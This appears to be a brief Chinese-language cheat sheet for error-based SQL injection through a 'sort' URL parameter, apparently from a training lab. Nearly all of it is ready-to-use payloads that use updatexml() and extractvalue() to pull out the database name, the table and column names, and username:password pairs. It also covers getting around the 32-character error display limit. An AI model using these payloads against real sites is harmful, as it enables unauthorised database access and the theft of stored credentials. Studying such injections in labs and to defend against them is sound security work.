采用报错注入
updatexml(XML_document,XPath_string,new_value) 一共可以接收三个参数,报错位置在第二个参数。
?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)--+ #查询库名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+ #查询表名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+ #查询列名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)--+ #查询用户和密码 updatexml报错最多显示32字符
?sort=1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 3,1),0x7e),1)--+
[?sort=1 and updatexml(1,concat(0x7e,(select substring(group_concat(username,0x3a,password),1,32) from users ),0x7e),1)--+]
用extractvalue()函数注入
extractvalue(XML_document,Xpath_string)一共可以接收两个参数,报错位置在第二个参数。
?sort=1 and extractvalue(1,concat(0x7e,database(),0x7e))--+ #查库名
?sort=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+ #查表名
?sort=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()and table_name='users'),0x7e))--+ #查列名
?sort=1 and extractvalue(1,concat(0x7e,(select substring(group_concat(username,0x3a,password),1,32) from users),0x7e))--+ #查用户名和密码